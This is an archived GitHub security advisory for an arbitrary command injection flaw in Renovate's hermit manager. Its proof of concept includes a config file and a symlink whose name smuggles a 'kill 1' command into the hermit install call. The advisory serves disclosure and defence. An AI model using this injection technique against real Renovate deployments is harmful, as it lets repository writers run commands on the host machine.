Renovate vulnerable to arbitrary command injection via hermit manager and maliciously named dependencies
Historical advisory saved 24 Oct 2026 13:17:17 UTC. The publisher may have updated it since then. Latest advisory.
osv · GHSA-36j9-mx87-2cff
Published### Summary The user-provided string `depName` in the `hermit` manager is appended to the `./hermit install` and `./hermit uninstall` commands without proper sanitization. ### Details Adversaries can provide a maliciously named hermit dependency in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code. All values added to the `packagesToInstall` and `packagesToUninstall` variables in [lib/modules/manager/hermit/artifacts.ts](https://github.com/renovatebot/renovate/blob/41e8b99f86a6e2a56f80f7aa1a08a59d76f2358c/lib/modules/manager/hermit/artifacts.ts) are not being escaped using the `quote` function from the `shlex` package. This lack of proper sanitization for installing packages has been present in the product since the introduction of the hermit manager in version 32.135.0 (https://github.com/renovatebot/renovate/commit/b696abb3c2741508fbb4029f39153140a3722e1e), released on July 30 of 2022. In version 37.199.1 (https://github.com/renovatebot/renovate/commit/eaec10d7c8afadbdd783ac47bd2adbfab444d6df) some use of the `quote` function from the `shlex` package was added, but not in a way that usefully prevented this arbitrary code injection vulnerability. When support for replacements was introduced with version 37.214.4 (https://github.com/renovatebot/renovate/commit/41e8b99f86a6e2a56f80f7aa1a08a59d76f2358c), the same faulty approach was replicated for uninstalling packages. ### PoC 1. Create a git repo with the following content: `renovate.json5`: ```json5 { $schema: "https://docs.renovatebot.com/renovate-schema.json", customDatasources: { always: { defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json", transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'], }, }, packageRules: [ { // Target of the day matchManagers: ["hermit"], // Trick the manager in believing there's a new version overrideDatasource: "custom.always", }, ], } ``` `bin/hermit`: ```bash #!/bin/bash # # THIS FILE IS GENERATED; DO NOT MODIFY set -eo pipefail export HERMIT_USER_HOME=~ if [ -z "${HERMIT_STATE_DIR}" ]; then case "$(uname -s)" in Darwin) export HERMIT_STATE_DIR="${HERMIT_USER_HOME}/Library/Caches/hermit" ;; Linux) export HERMIT_STATE_DIR="${XDG_CACHE_HOME:-${HERMIT_USER_HOME}/.cache}/hermit" ;; esac fi export HERMIT_DIST_URL="${HERMIT_DIST_URL:-https://github.com/cashapp/hermit/releases/download/stable}" HERMIT_CHANNEL="$(basename "${HERMIT_DIST_URL}")" export HERMIT_CHANNEL export HERMIT_EXE=${HERMIT_EXE:-${HERMIT_STATE_DIR}/pkg/hermit@${HERMIT_CHANNEL}/hermit} if [ ! -x "${HERMIT_EXE}" ]; then echo "Bootstrapping ${HERMIT_EXE} from ${HERMIT_DIST_URL}" 1>&2 INSTALL_SCRIPT="$(mktemp)" # This value must match that of the install script INSTALL_SCRIPT_SHA256="09ed936378857886fd4a7a4878c0f0c7e3d839883f39ca8b4f2f242e3126e1c6" if [ "${INSTALL_SCRIPT_SHA256}" = "BYPASS" ]; then curl -fsSL "${HERMIT_DIST_URL}/install.sh" -o "${INSTALL_SCRIPT}" else # Install script is versioned by its sha256sum value curl -fsSL "${HERMIT_DIST_URL}/install-${INSTALL_SCRIPT_SHA256}.sh" -o "${INSTALL_SCRIPT}" # Verify install script's sha256sum openssl dgst -sha256 "${INSTALL_SCRIPT}" | \ awk -v EXPECTED="$INSTALL_SCRIPT_SHA256" \ '$2!=EXPECTED {print "Install script sha256 " $2 " does not match " EXPECTED; exit 1}' fi /bin/bash "${INSTALL_SCRIPT}" 1>&2 fi exec "${HERMIT_EXE}" --level=fatal exec "$0" -- "$@" ``` `bin/.|| kill 1 ||@0.0.1.pkg` (symlink): A symlink to `hermit` 2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of `kill 1`, terminating the root process of the container. > [!NOTE] > This specific proof of concept was made a lot simpler with the introduction of the `overrideDatasource` configuration since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual hermit-packages repository during resolution. ### Impact TThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
- Source published
- 13 Jan 2026 20:28:41 UTC
- Source modified
- 20 Aug 2026 04:04:15 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Publisher rating · MODERATE